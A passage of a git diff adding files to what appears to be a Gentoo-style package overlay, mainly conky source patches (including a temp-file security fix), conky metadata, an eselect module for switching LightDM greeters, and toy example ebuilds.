+index ae97f48..bfb0063 100644
+--- a/src/linux.c
++++ b/src/linux.c
+@@ -1449,26 +1449,20 @@ critical (S5):           73 C
+ passive:                 73 C: tc1=4 tc2=3 tsp=40 devices=0xcdf6e6c0
+ */
+ 
+-#define ACPI_THERMAL_DIR "/proc/acpi/thermal_zone/"
+-#define ACPI_THERMAL_FORMAT "/proc/acpi/thermal_zone/%s/temperature"
++#define ACPI_THERMAL_ZONE_DEFAULT "thermal_zone0"
++#define ACPI_THERMAL_FORMAT "/sys/class/thermal/%s/temp"
+ 
+ int open_acpi_temperature(const char *name)
+ {
+ 	char path[256];
+-	char buf[256];
+ 	int fd;
+ 
+ 	if (name == NULL || strcmp(name, "*") == 0) {
+-		static int rep = 0;
+-
+-		if (!get_first_file_in_a_directory(ACPI_THERMAL_DIR, buf, &rep)) {
+-			return -1;
+-		}
+-		name = buf;
++		snprintf(path, 255, ACPI_THERMAL_FORMAT, ACPI_THERMAL_ZONE_DEFAULT);
++	} else {
++		snprintf(path, 255, ACPI_THERMAL_FORMAT, name);
+ 	}
+ 
+-	snprintf(path, 255, ACPI_THERMAL_FORMAT, name);
+-
+ 	fd = open(path, O_RDONLY);
+ 	if (fd < 0) {
+ 		NORM_ERR("can't open '%s': %s", path, strerror(errno));
+@@ -1480,6 +1474,9 @@ int open_acpi_temperature(const char *name)
+ static double last_acpi_temp;
+ static double last_acpi_temp_time;
+ 
++//the maximum length of the string inside a ACPI_THERMAL_FORMAT file including the ending 0
++#define MAXTHERMZONELEN 6
++
+ double get_acpi_temperature(int fd)
+ {
+ 	if (fd <= 0) {
+@@ -1497,15 +1494,16 @@ double get_acpi_temperature(int fd)
+ 
+ 	/* read */
+ 	{
+-		char buf[256];
++		char buf[MAXTHERMZONELEN];
+ 		int n;
+ 
+-		n = read(fd, buf, 255);
++		n = read(fd, buf, MAXTHERMZONELEN-1);
+ 		if (n < 0) {
+ 			NORM_ERR("can't read fd %d: %s", fd, strerror(errno));
+ 		} else {
+ 			buf[n] = '\0';
+-			sscanf(buf, "temperature: %lf", &last_acpi_temp);
++			sscanf(buf, "%lf", &last_acpi_temp);
++			last_acpi_temp /= 1000;
+ 		}
+ 	}
+ 
+-- 
+1.7.0.4
+
diff --git a/app-admin/conky/files/conky-1.8.1-battery-time.patch b/app-admin/conky/files/conky-1.8.1-battery-time.patch
new file mode 100644
index 00000000..66e37958
--- /dev/null
+++ b/app-admin/conky/files/conky-1.8.1-battery-time.patch
@@ -0,0 +1,11 @@
+--- a/src/linux.c.old	2012-01-12 08:18:58.525502553 -0500
++++ b/src/linux.c	2012-01-12 08:19:29.786069277 -0500
+@@ -1671,6 +1671,8 @@ void get_battery_stuff(char *buffer, uns
+  			the tradition! */
+  			else if (strncmp(buf, "POWER_SUPPLY_CURRENT_NOW=", 25) == 0)
+  				sscanf(buf, "POWER_SUPPLY_CURRENT_NOW=%d", &present_rate);
++			else if (strncmp(buf, "POWER_SUPPLY_POWER_NOW=", 23) == 0)
++				sscanf(buf, "POWER_SUPPLY_POWER_NOW=%d", &present_rate);
+  			else if (strncmp(buf, "POWER_SUPPLY_ENERGY_NOW=", 24) == 0)
+  				sscanf(buf, "POWER_SUPPLY_ENERGY_NOW=%d", &remaining_capacity);
+  			else if (strncmp(buf, "POWER_SUPPLY_ENERGY_FULL=", 25) == 0)
diff --git a/app-admin/conky/files/conky-1.8.1-curl-headers.patch b/app-admin/conky/files/conky-1.8.1-curl-headers.patch
new file mode 100644
index 00000000..5de2de14
--- /dev/null
+++ b/app-admin/conky/files/conky-1.8.1-curl-headers.patch
@@ -0,0 +1,24 @@
+diff --git a/src/ccurl_thread.c b/src/ccurl_thread.c
+index 10e73a6..9bea299 100644
+--- a/src/ccurl_thread.c
++++ b/src/ccurl_thread.c
+@@ -33,7 +33,6 @@
+ #endif /* DEBUG */
+ 
+ #include <curl/curl.h>
+-#include <curl/types.h>
+ #include <curl/easy.h>
+ 
+ /*
+diff --git a/src/eve.c b/src/eve.c
+index dc07264..f62a5f6 100644
+--- a/src/eve.c
++++ b/src/eve.c
+@@ -37,7 +37,6 @@
+ #include <libxml/xmlwriter.h>
+ 
+ #include <curl/curl.h>
+-#include <curl/types.h>
+ #include <curl/easy.h>
+ 
+ #include <time.h>
diff --git a/app-admin/conky/files/conky-1.8.1-lua-5.2.patch b/app-admin/conky/files/conky-1.8.1-lua-5.2.patch
new file mode 100644
index 00000000..956b0397
--- /dev/null
+++ b/app-admin/conky/files/conky-1.8.1-lua-5.2.patch
@@ -0,0 +1,26 @@
+From 83bf5e3f853918583e519fbba455a79242be9c7c Mon Sep 17 00:00:00 2001
+From: Brenden Matthews <brenden@diddyinc.com>
+Date: Wed, 7 Mar 2012 11:11:12 -0800
+Subject: [PATCH] Build fix for Lua >=5.2.
+
+See Gentoo bug at https://bugs.gentoo.org/show_bug.cgi?id=407089.
+---
+ src/llua.c |    2 +-
+ 1 files changed, 1 insertions(+), 1 deletions(-)
+
+diff --git a/src/llua.c b/src/llua.c
+index 8f1df3c..383c279 100644
+--- a/src/llua.c
++++ b/src/llua.c
+@@ -92,7 +92,7 @@ void llua_init(void)
+ 	const char *libs = PACKAGE_LIBDIR"/lib?.so;";
+ 	char *old_path, *new_path;
+ 	if (lua_L) return;
+-	lua_L = lua_open();
++	lua_L = luaL_newstate();
+ 
+ 	/* add our library path to the lua package.cpath global var */
+ 	luaL_openlibs(lua_L);
+-- 
+1.7.0.4
+
diff --git a/app-admin/conky/files/conky-1.8.1-maxinterfaces.patch b/app-admin/conky/files/conky-1.8.1-maxinterfaces.patch
new file mode 100644
index 00000000..6f2097e1
--- /dev/null
+++ b/app-admin/conky/files/conky-1.8.1-maxinterfaces.patch
@@ -0,0 +1,41 @@
+From f6aac5981e70118dc28b3c7a1fe6065955fe3dcb Mon Sep 17 00:00:00 2001
+From: Pavel Labath <pavelo@centrum.sk>
+Date: Tue, 25 Oct 2011 18:53:09 +0200
+Subject: [PATCH] Increase MAX_NET_INTERFACES to 64
+
+also change a magic constant in net_stat.h to reflect the fact that it depends on
+MAX_NET_INTERFACES. For more info, see sf.net #2872682 and gentoo bug #384505
+---
+ configure.ac.in |    2 +-
+ src/net_stat.h  |    2 +-
+ 2 files changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/configure.ac.in b/configure.ac.in
+index 0f00237..d52d998 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -802,7 +802,7 @@ AC_DEFINE(CONFIG_FILE, "$HOME/.conkyrc", [Configfile of the user])
+ AC_DEFINE(MAX_SPECIALS_DEFAULT, 512, [Default maximum number of special things, e.g. fonts, offsets, aligns, etc.])
+ AC_DEFINE(MAX_USER_TEXT_DEFAULT, 16384, [Default maximum size of config TEXT buffer, i.e. below TEXT line.])
+ AC_DEFINE(DEFAULT_TEXT_BUFFER_SIZE, 256, [Default size used for temporary, static text buffers])
+-AC_DEFINE(MAX_NET_INTERFACES, 16, [Maximum number of network devices])
++AC_DEFINE(MAX_NET_INTERFACES, 64, [Maximum number of network devices])
+ 
+ dnl
+ dnl Some functions
+diff --git a/src/net_stat.h b/src/net_stat.h
+index 463e7db..6f5533c 100644
+--- a/src/net_stat.h
++++ b/src/net_stat.h
+@@ -41,7 +41,7 @@ struct net_stat {
+         double recv_speed, trans_speed;
+         struct sockaddr addr;
+ #if defined(__linux__)
+-        char addrs[273];
++        char addrs[17 * MAX_NET_INTERFACES + 1];
+ #endif /* __linux__ */
+         double net_rec[15], net_trans[15];
+         // wireless extensions
+-- 
+1.7.0.4
+
diff --git a/app-admin/conky/files/conky-1.8.1-nvidia-x.patch b/app-admin/conky/files/conky-1.8.1-nvidia-x.patch
new file mode 100644
index 00000000..b56cee5f
--- /dev/null
+++ b/app-admin/conky/files/conky-1.8.1-nvidia-x.patch
@@ -0,0 +1,33 @@
+From b72004787038371098a745c9358e8e1552d945d5 Mon Sep 17 00:00:00 2001
+From: Brenden Matthews <brenden@diddyinc.com>
+Date: Wed, 6 Oct 2010 11:49:27 -0700
+Subject: [PATCH] Bulid fix for nvidia support.
+
+See http://bugs.gentoo.org/show_bug.cgi?id=339971 for details.
+---
+ src/nvidia.c |    4 +++-
+ 1 files changed, 3 insertions(+), 1 deletions(-)
+
+diff --git a/src/nvidia.c b/src/nvidia.c
+index 8a6423e..5f378d8 100644
+--- a/src/nvidia.c
++++ b/src/nvidia.c
+@@ -32,6 +32,7 @@
+ #include "logging.h"
+ #include "nvidia.h"
+ #include "temphelper.h"
++#include "x11.h"
+ #include <NVCtrl/NVCtrlLib.h>
+ 
+ const int nvidia_query_to_attr[] = {NV_CTRL_GPU_CORE_TEMPERATURE,
+@@ -145,5 +146,6 @@ void set_nvidia_display(const char *disp)
+ 		if ((nvdisplay = XOpenDisplay(disp)) == NULL) {
+ 			CRIT_ERR(NULL, NULL, "can't open nvidia display: %s", XDisplayName(disp));
+ 		}
+-	}	
++	}
+ }
++
+-- 
+1.7.0.4
+
diff --git a/app-admin/conky/files/conky-1.8.1-secunia-SA43225.patch b/app-admin/conky/files/conky-1.8.1-secunia-SA43225.patch
new file mode 100644
index 00000000..81272bd3
--- /dev/null
+++ b/app-admin/conky/files/conky-1.8.1-secunia-SA43225.patch
@@ -0,0 +1,72 @@
+--- src/eve.c	2011-02-12 13:26:34.636269667 +0100
++++ src/eve.c	2011-02-12 13:26:48.242936334 +0100
+@@ -254,19 +254,6 @@
+ 	}
+ }
+ 
+-static int file_exists(const char *filename)
+-{
+-	struct stat fi;
+-
+-	if ((stat(filename, &fi)) == 0) {
+-		if (fi.st_size > 0)
+-			return 1;
+-		else
+-			return 0;
+-	} else
+-		return 0;
+-}
+-
+ static void writeSkilltree(char *content, const char *filename)
+ {
+ 	FILE *fp = fopen(filename, "w");
+@@ -283,13 +270,12 @@
+ 	xmlDocPtr doc = 0;
+ 	xmlNodePtr root = 0;
+ 
+-	if (!file_exists(file)) {
+-		skilltree = getXmlFromAPI(NULL, NULL, NULL, EVEURL_SKILLTREE);
+-		writeSkilltree(skilltree, file);
+-		free(skilltree);
+-	}
++	skilltree = getXmlFromAPI(NULL, NULL, NULL, EVEURL_SKILLTREE);
++	writeSkilltree(skilltree, file);
++	free(skilltree);
+ 
+ 	doc = xmlReadFile(file, NULL, 0);
++	unlink(file);
+ 	if (!doc)
+ 		return NULL;
+ 
+@@ -340,7 +326,7 @@
+ static char *eve(char *userid, char *apikey, char *charid)
+ {
+ 	Character *chr = NULL;
+-	const char *skillfile = "/tmp/.cesf";
++	char skillfile[] = "/tmp/.cesfXXXXXX";
+ 	int i = 0;
+ 	char *output = 0;
+ 	char *timel = 0;
+@@ -348,6 +334,7 @@
+ 	char *content = 0;
+ 	time_t now = 0;
+ 	char *error = 0;
++	int tmp_fd, old_umask;
+ 
+ 
+ 	for (i = 0; i < MAXCHARS; i++) {
+@@ -400,6 +387,14 @@
+ 
+ 		output = (char *)malloc(200 * sizeof(char));
+ 		timel = formatTime(&chr->ends);
++		old_umask = umask(0066);
++		tmp_fd = mkstemp(skillfile);
++		umask(old_umask);
++		if (tmp_fd == -1) {
++			error = strdup("Cannot create temporary file");
++			return error;
++		}
++		close(tmp_fd);
+ 		skill = getSkillname(skillfile, chr->skill);
+ 
+ 		chr->skillname = strdup(skill);
diff --git a/app-admin/conky/files/conky-1.8.1-utf8-scroll.patch b/app-admin/conky/files/conky-1.8.1-utf8-scroll.patch
new file mode 100644
index 00000000..8b9e1e8f
--- /dev/null
+++ b/app-admin/conky/files/conky-1.8.1-utf8-scroll.patch
@@ -0,0 +1,104 @@
+From b1f6a30bcce020b3c377434137de9856a09b899a Mon Sep 17 00:00:00 2001
+From: =?UTF-8?q?Amadeusz=20=C5=BBo=C5=82nowski?= <aidecoe@aidecoe.name>
+Date: Fri, 11 Nov 2011 11:27:43 +0100
+Subject: [PATCH] Make scroll UTF-8 aware.  Fixes bug #3134941.
+
+---
+ src/scroll.c |   44 ++++++++++++++++++++++++++++++++++++++++++--
+ 1 files changed, 42 insertions(+), 2 deletions(-)
+
+diff --git a/src/scroll.c b/src/scroll.c
+index f78f807..738db0d 100644
+--- a/src/scroll.c
++++ b/src/scroll.c
+@@ -34,12 +34,33 @@
+ 
+ struct scroll_data {
+ 	char *text;
++	unsigned int show_orig;
+ 	unsigned int show;
+ 	unsigned int step;
+ 	unsigned int start;
+ 	long resetcolor;
+ };
+ 
++int utf8_charlen(char c) {
++	unsigned char uc = (unsigned char) c;
++	int len = 0;
++
++	if ((uc & 0x80) == 0)
++		return 1;
++
++	while ((uc & 0x80) != 0) {
++		++len;
++		uc <<= 1;
++	}
++
++	return (len > 0 && len <= 4) ? len : -1;
++}
++
++int is_utf8_char_tail(char c) {
++	unsigned char uc = (unsigned char) c;
++	return (uc & 0xc0) == 0x80;
++}
++
+ void parse_scroll_arg(struct text_object *obj, const char *arg, void *free_at_crash)
+ {
+ 	struct scroll_data *sd;
+@@ -60,15 +81,18 @@ void parse_scroll_arg(struct text_object *obj, const char *arg, void *free_at_cr
+ 		sd->step = 1;
+ 	}
+ 	sd->text = malloc(strlen(arg + n1) + sd->show + 1);
++	// sd->show value may change when there are UTF-8 chars to be shown, so
++	// save its origin value
++	sd->show_orig = sd->show;
+ 
+ 	if (strlen(arg) > sd->show) {
+ 		for(n2 = 0; (unsigned int) n2 < sd->show; n2++) {
+-		    sd->text[n2] = ' ';
++			sd->text[n2] = ' ';
+ 		}
+ 		sd->text[n2] = 0;
+ 	}
+ 	else
+-	    sd->text[0] = 0;
++		sd->text[0] = 0;
+ 
+ 	strcat(sd->text, arg + n1);
+ 	sd->start = 0;
+@@ -82,9 +106,13 @@ void print_scroll(struct text_object *obj, char *p, int p_max_size, struct infor
+ {
+ 	struct scroll_data *sd = obj->data.opaque;
+ 	unsigned int j, colorchanges = 0, frontcolorchanges = 0, visibcolorchanges = 0, strend;
++	int charlen = 0;
++	unsigned int utf8lenfix = 0;
+ 	char *pwithcolors;
+ 	char buf[max_user_text];
+ 
++	sd->show = sd->show_orig;
++
+ 	if (!sd)
+ 		return;
+ 
+@@ -109,6 +137,18 @@ void print_scroll(struct text_object *obj, char *p, int p_max_size, struct infor
+ 	while(*(buf + sd->start) == SPECIAL_CHAR) {
+ 		sd->start++;
+ 	}
++	//skip parts of UTF-8 character which messes up display
++	while(is_utf8_char_tail(*(buf + sd->start))) {
++		sd->start++;
++	}
++	//extend length to be shown for wide characters
++	j = 0;
++	while(j < sd->show + visibcolorchanges + utf8lenfix) {
++		charlen = utf8_charlen(*(buf + sd->start + j));
++		utf8lenfix += (charlen > 1 ? charlen - 1 : 0);
++		j += charlen;
++	}
++	sd->show = sd->show_orig + utf8lenfix;
+ 	//place all chars that should be visible in p, including colorchanges
+ 	for(j=0; j < sd->show + visibcolorchanges; j++) {
+ 		p[j] = *(buf + sd->start + j);
+-- 
+1.7.8.rc1
+
diff --git a/app-admin/conky/files/conky-1.8.1-xmms2.patch b/app-admin/conky/files/conky-1.8.1-xmms2.patch
new file mode 100644
index 00000000..a1b03d45
--- /dev/null
+++ b/app-admin/conky/files/conky-1.8.1-xmms2.patch
@@ -0,0 +1,36 @@
+From 8dd9b91bb2751abccc02b53cefd0ab8f0e3b957d Mon Sep 17 00:00:00 2001
+From: Brenden Matthews <brenden@diddyinc.com>
+Date: Thu, 14 Oct 2010 16:51:53 -0700
+Subject: [PATCH] Build fix for XMMS2.
+
+This resolves bug 3085691, see:
+https://sourceforge.net/tracker/index.php?func=detail&aid=3085691&group_id=143975&atid=757308
+---
+ src/xmms2.c |    4 ++--
+ 1 files changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/src/xmms2.c b/src/xmms2.c
+index 521bffa..94f13f9 100644
+--- a/src/xmms2.c
++++ b/src/xmms2.c
+@@ -223,7 +223,7 @@ int handle_playback_state_change(xmmsv_t *value, void *p)
+ 				break;
+ 			case XMMS_PLAYBACK_STATUS_STOP:
+ 				strncpy(ptr->xmms2.status, "Stopped", text_buffer_size - 1);
+-				ptr->xmms2.elapsed = ptr->xmms2.progress = ptr->xmms2.percent = 0;
++ 				ptr->xmms2.elapsed = ptr->xmms2.progress = 0;
+ 				break;
+ 			default:
+ 				strncpy(ptr->xmms2.status, "Unknown", text_buffer_size - 1);
+@@ -232,7 +232,7 @@ int handle_playback_state_change(xmmsv_t *value, void *p)
+ 	return TRUE;
+ }
+ 
+-int handle_playlist_loaded(xmmsv_t *value, void *p) 
++int handle_playlist_loaded(xmmsv_t *value, void *p)
+ {
+ 	struct information *ptr = p;
+ 	const char *c, *errbuf;
+-- 
+1.7.0.4
+
diff --git a/app-admin/conky/files/conky-1.9.0-ncurses.patch b/app-admin/conky/files/conky-1.9.0-ncurses.patch
new file mode 100644
index 00000000..91043ed4
--- /dev/null
+++ b/app-admin/conky/files/conky-1.9.0-ncurses.patch
@@ -0,0 +1,31 @@
+From fd9462da5ed12369fc6a72e42ebc45c6707403fb Mon Sep 17 00:00:00 2001
+From: Pavel Labath <pavelo@centrum.sk>
+Date: Fri, 13 Jul 2012 13:41:09 +0200
+Subject: [PATCH] Fix "conky failes to build with --disable-ncurses" (sf.net #3541329)
+
+---
+ src/conky.c |    4 ++--
+ 1 files changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/src/conky.c b/src/conky.c
+index c5b4bed..17fe1a7 100644
+--- a/src/conky.c
++++ b/src/conky.c
+@@ -885,12 +885,12 @@ void generate_text_internal(char *p, int p_max_size,
+ 			OBJ(cpu) {
+ 				if (cur->cpu_usage) {
+ 					if (obj->data.i > info.cpu_count) {
+-						static bool warned = false;
++						static int warned = 0;
+ 						if(!warned) {
+ 							NORM_ERR("obj->data.i %i info.cpu_count %i",
+ 									obj->data.i, info.cpu_count);
+ 							NORM_ERR("attempting to use more CPUs than you have!");
+-							warned = true;
++							warned = 1;
+ 						}
+ 					} else  {
+ 						percent_print(p, p_max_size,
+-- 
+1.7.0.4
+
diff --git a/app-admin/conky/metadata.xml b/app-admin/conky/metadata.xml
new file mode 100644
index 00000000..5df39140
--- /dev/null
+++ b/app-admin/conky/metadata.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+	<maintainer>
+		<email>billie@gentoo.org</email>
+		<name>Daniel Pielmeier</name>
+	</maintainer>
+	<maintainer>
+		<email>brenden@rty.ca</email>
+		<name>Brenden Matthews</name>
+		<description>Upstream author</description>
+	</maintainer>
+	<longdescription>Conky is a system monitor that sits in the corner of your desktop. It is a fork of Torsmo that is actually maintained.</longdescription>
+	<use>
+		<flag name='apcupsd'>enable support for <pkg>sys-power/apcupsd</pkg></flag>
+		<flag name='audacious'>enable monitoring of music played by <pkg>media-sound/audacious</pkg></flag>
+		<flag name='eve'>enable support for the eve-online skill monitor</flag>
+		<flag name='iostats'>enable support for per-task I/O statistics</flag>
+		<flag name='lua'>enable if you want Lua scripting support</flag>
+		<flag name='lua-cairo'>enable if you want Lua Cairo bindings for Conky (also enables lua support)</flag>
+		<flag name='lua-imlib'>enable if you want Lua Imlib2 bindings for Conky (also enables lua and imlib support)</flag>
+		<flag name='math'>enable support for glibc's libm math library</flag>
+		<flag name='moc'>enable monitoring of music played by <pkg>media-sound/moc</pkg></flag>
+		<flag name='mpd'>enable monitoring of music controlled by <pkg>media-sound/mpd</pkg></flag>
+		<flag name='nano-syntax'>enable syntax highlighting for <pkg>app-editors/nano</pkg></flag>
+		<flag name='nvidia'>enable reading of nvidia card temperature sensors via <pkg>media-video/nvidia-settings</pkg></flag>
+		<flag name='portmon'>enable support for tcp (ip4) port monitoring</flag>
+		<flag name='thinkpad'>enable support for IBM/Lenovo notebooks</flag>
+		<flag name='weather-metar'>enable support for metar weather service</flag>
+		<flag name='weather-xoap'>enable support for metar and xoap weather service</flag>
+		<flag name='xmms2'>enable monitoring of music played by <pkg>media-sound/xmms2</pkg></flag>
+	</use>
+</pkgmetadata>
diff --git a/app-admin/eselect-lightdm/Manifest b/app-admin/eselect-lightdm/Manifest
new file mode 100644
index 00000000..28551431
--- /dev/null
+++ b/app-admin/eselect-lightdm/Manifest
@@ -0,0 +1,2 @@
+AUX lightdm-0.2.eselect 4393 SHA256 3953380345fcb011f6f6786a1b3800f0e06ff05f7b3abd93eb734a71980bdd25 SHA512 1908ad4f363d2e7cc74ead0d52a90bc87f4752d7140b0e1098935f8f4446cc260ed73b629c895dda3afa3449718077ed70253a9becb60820d94cc2e278aeacc9 WHIRLPOOL be3248dee97a416ad84db3f080673edb7bfcffe08b4d24f9f97307a917bfb4f8cd3c132f5a59cf971ca8c00a1f9379caf328f93f9379643925288f7150283349
+EBUILD eselect-lightdm-0.2.ebuild 497 SHA256 46b5b60218693e53db3a98dcfcebc1c13a44fec4cc2a7d7b7b8ef2e33f2fee5d SHA512 3f46dd3b7ac03d93d416696f03cbeb54cbaaacecec0fbeaff446d19e47175988dddd0c264d7015c38bf70d7808cdf1dd96a7aa643632b809bf957bac15f20a3f WHIRLPOOL e1e14d07473480e70673c4ea3a5b0ada4e93eda083f78e4bf9906724d0bc0cb335fa1d3a332250a3b36056542d1707db6f06e3cdb1568b33172fe05cf9968be9
diff --git a/app-admin/eselect-lightdm/eselect-lightdm-0.2.ebuild b/app-admin/eselect-lightdm/eselect-lightdm-0.2.ebuild
new file mode 100644
index 00000000..7e1ef10b
--- /dev/null
+++ b/app-admin/eselect-lightdm/eselect-lightdm-0.2.ebuild
@@ -0,0 +1,25 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+SRC_URI=""
+KEYWORDS="~amd64 ~arm ~x86"
+
+DESCRIPTION="Eselect module for making easy to switch between LightDM greeters"
+HOMEPAGE="http://www.sabayon.org"
+
+LICENSE="GPL-2"
+SLOT="0"
+IUSE=""
+
+S="${WORKDIR}"
+
+RDEPEND="app-admin/eselect"
+DEPEND="${RDEPEND}"
+
+src_install() {
+	insinto /usr/share/eselect/modules
+	newins "${FILESDIR}/lightdm-${PV}.eselect" lightdm.eselect
+}
diff --git a/app-admin/eselect-lightdm/files/lightdm-0.2.eselect b/app-admin/eselect-lightdm/files/lightdm-0.2.eselect
new file mode 100644
index 00000000..00cf7e1d
--- /dev/null
+++ b/app-admin/eselect-lightdm/files/lightdm-0.2.eselect
@@ -0,0 +1,176 @@
+# -*-eselect-*-  vim: ft=eselect
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2 or later
+# $Id: $
+
+DESCRIPTION="Switch between LightDM greeters"
+MAINTAINER="lxnay@gentoo.org"
+VERSION="0.1"
+
+# Module variables
+GREETERS_DIR="${EROOT}/usr/share/xgreeters"
+GREETER_SYM="${GREETERS_DIR}/default.desktop"
+
+find_targets() {
+    local f fname
+    for f in "${GREETERS_DIR}/"*; do
+        [[ "${f}" == "${GREETER_SYM}" ]] && continue
+        # skip dirs
+        [[ -d "${f}" ]] && continue
+        # skip broken syms etc
+        [[ ! -e "${f}" ]] && continue
+        # skip non reg files
+        [[ ! -f "${f}" ]] && continue
+
+        fname=$(basename "${f}")
+        [[ "${fname}" == *.desktop ]] || continue
+
+        echo "${fname%%.desktop}"
+    done
+}
+
+remove_symlink() {
+    rm "${GREETER_SYM}"
+}
+
+set_symlink() {
+    local target="${1}"
+
+    if is_number "${target}"; then
+        local targets=( $(find_targets) )
+        target=${targets[target-1]}
+    fi
+
+    [[ -z "${target}" || ! -f "${GREETERS_DIR}/${target}.desktop" ]] \
+        && die -q "Target \"${target}\" doesn't appear to be valid!"
+
+    echo "Setting LightDM greeter to ${target}"
+    ln -sf "${target}.desktop" "${GREETER_SYM}" || die "Cannot create symlink"
+}
+
+### show action ###
+
+describe_show() {
+    echo "Show the current LightDM greeter"
+}
+
+describe_show_options() {
+    echo "--quiet  : only print the actual symlink value"
+    echo "--silent : same as --quiet"
+}
+
+do_show() {
+    local quiet=""
+
+    while [[ $# -gt 0 ]]; do
+        case ${1##--} in
+            quiet|silent)
+                quiet="1"
+                ;;
+        esac
+        shift
+    done
+
+    [[ -z "${quiet}" ]] && write_list_start "Current greeter:"
+    if [[ -L "${GREETER_SYM}" ]] && [[ -e "${GREETER_SYM}" ]]; then
+        local greeter=$(canonicalise "${GREETER_SYM}")
+        local greeter_bn=$(basename "${greeter%.desktop}")
+        if [[ -n "${quiet}" ]]; then
+            echo "${greeter_bn}"
+        else
+            write_kv_list_entry "${greeter_bn}" ""
+        fi
+    else
+        if [[ -z "${quiet}" ]]; then
+            write_kv_list_entry "(unset)" ""
+        fi
+    fi
+}
+
+### list action ###
+
+describe_list() {
+    echo "List available LightDM greeters"
+}
+
+describe_list_options() {
+    echo "--quiet  : only print the actual symlink value"
+    echo "--silent : same as --quiet"
+}
+
+do_list() {
+    local quiet
+
+    while [[ $# -gt 0 ]]; do
+        case ${1##--} in
+            quiet|silent)
+                quiet="1"
+                ;;
+        esac
+        shift
+    done
+
+    local i targets=( $(find_targets) )
+
+    [[ -z "${quiet}" ]] && write_list_start "Available LightDM greeters:"
+    for (( i = 0; i < ${#targets[@]}; i++ )); do
+        if [[ -z "${quiet}" ]]; then
+            # highlight the target where the symlink is pointing to
+            [[ ${targets[i]} = \
+                $(basename "$(canonicalise "${GREETER_SYM}")") ]] \
+                    && targets[i]=$(highlight_marker "${targets[i]}")
+        else
+            echo "${targets[i]}"
+        fi
+    done
+    [[ -z "${quiet}" ]] && \
+        write_numbered_list -m "(none found)" "${targets[@]}"
+}
+
+### set action ###
+describe_set() {
+    echo "Set a new LightDM greeter"
+}
+
+describe_set_parameters() {
+    echo "<target>"
+}
+
+describe_set_options() {
+    echo "target : Target name or number (from 'list' action)"
+    echo "--use-old : use the old value if target is already set"
+}
+
+do_set() {
+    local use_old
+    local target="${1}"
+
+    while [[ $# -gt 0 ]]; do
+        case ${1##--} in
+            use-old)
+                use_old="1"
+                ;;
+        esac
+        shift
+    done
+
+    [[ -z "${target}" ]] && \
+       die -q "You didn't tell me what to set the symlink to"
+    [[ ${#} -gt 1 ]] && die -q "Too many parameters"
+
+    if [[ "${use_old}" = "1" ]]; then
+       old_target=$(do_show --quiet)
+       target="${old_target:-${target}}"
+    fi
+
+    if [[ -L "${GREETER_SYM}" ]]; then
+        # existing symlink
+        remove_symlink || die -q "Couldn't remove existing symlink"
+        set_symlink "${target}" || die -q "Couldn't set a new symlink"
+    elif [[ -e "${GREETER_SYM}" ]]; then
+        # we have something strange
+        die -q "${GREETER_SYM} exists but is not a symlink"
+    else
+        set_symlink "${target}" || die -q "Couldn't set a new symlink"
+    fi
+}
diff --git a/app-admin/example1/Manifest b/app-admin/example1/Manifest
new file mode 100644
index 00000000..8d080cc5
--- /dev/null
+++ b/app-admin/example1/Manifest
@@ -0,0 +1,2 @@
+DIST fisier.tar.gz 130 SHA256 382bfa6be4b66846a1136aef38504d75cf7d66a1b077da92dfa2d547a67664ee SHA512 3e2d7e4bfad7419ffa8d85304eecfb6eb6972accf73985cccf755c7dbb8b416a9417a8897ef19e480f7c0f9a679371ab64f05e45008cdceace540b9326c1d3ca WHIRLPOOL 1c427612716d17f5270bfe9426527c387147ae4c87b3c919c1c7e38b95a93e62c3e095b44603811ad51b3ef6050e33077c59f56a5798ea2c0546c2bea39517e3
+EBUILD fisier-2012.ebuild 862 SHA256 5683e068c464c848ffb0248a84329de8341424a4fac56e571ccb0bbeb31ae10a SHA512 f4688af79800b4ce2a68f74912cf68ef169f7ff1833267de9949432c720a7f139d422e2c4d3d70ac23d566c5f9b503a9aa1bdb48cd589b00724f70e0569185de WHIRLPOOL edc3e9649defc1b5fa3c466eaf9e34bb03e3593b8f89a613edac0378e639728c48a304800aac6934fee2409b2937590dfcb1fd2ba9e3a34530e6a5ade7af525f
diff --git a/app-admin/example1/example1-2012.ebuild b/app-admin/example1/example1-2012.ebuild
new file mode 100644
index 00000000..b66ad776
--- /dev/null
+++ b/app-admin/example1/example1-2012.ebuild
@@ -0,0 +1,37 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=3
+
+DESCRIPTION="Cacatul meu personal"
+HOMEPAGE="http://pkg.rogentos.ro/"
+SRC_URI="http://pkg.rogentos.ro/~rogentos/distro/fisier.tar.gz"
+
+LICENSE="GPL-2"
+IUSE="primulflag"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86"
+
+RDEPEND=""
+DEPEND="${RPEDEND}"
+
+S="${WORKDIR}"
+
+src_install() {
+	dodir /home/cacatulmeupersonal || die "Creem folderul"
+	insinto /home/cacatulmeupersonal || die "Intram in folder"
+	doins fisier || die "Copiem fisierul fisier din arhiva"
+
+	if use primulflag; then
+		sed -i 's/CACAAT/ceva/g' fisier || die "Nu a reusit functia"
+		insinto /home/cacatulmeupersonal/ || die
+		doins fisier || die
+	fi
+
+	if ! use primulflag; then
+		ewarn "Nu ai folosit flag-ul asta" || die
+		echo "asta-i echo, dar modificat... genetic" || die
+	fi
+
+}
diff --git a/app-admin/example2/Manifest b/app-admin/example2/Manifest
new file mode 100644
index 00000000..943f0a84
--- /dev/null
+++ b/app-admin/example2/Manifest
@@ -0,0 +1,12 @@
+AUX exemplu.tar.gz 158 SHA256 26e5bfba98a948bc16c78a2798dde79a4358e839a03dee57e36796cc4a64b6da SHA512 1fc4e2e458eaa32aaffb247ae7720af3f9993bf0d60875f720d91d9aa161e8b719ccb8c292d7e8c94fbf5db126a1d769bdd33d545db4bf6b71abecc8763601ef WHIRLPOOL 8456470959c77e8186a51d804e4d7c228dfc616931ae9b22bb2c545fb2685fc51889c280f963892299aaa9763db126841184ec08401820f0d0012d0e52abaaf3
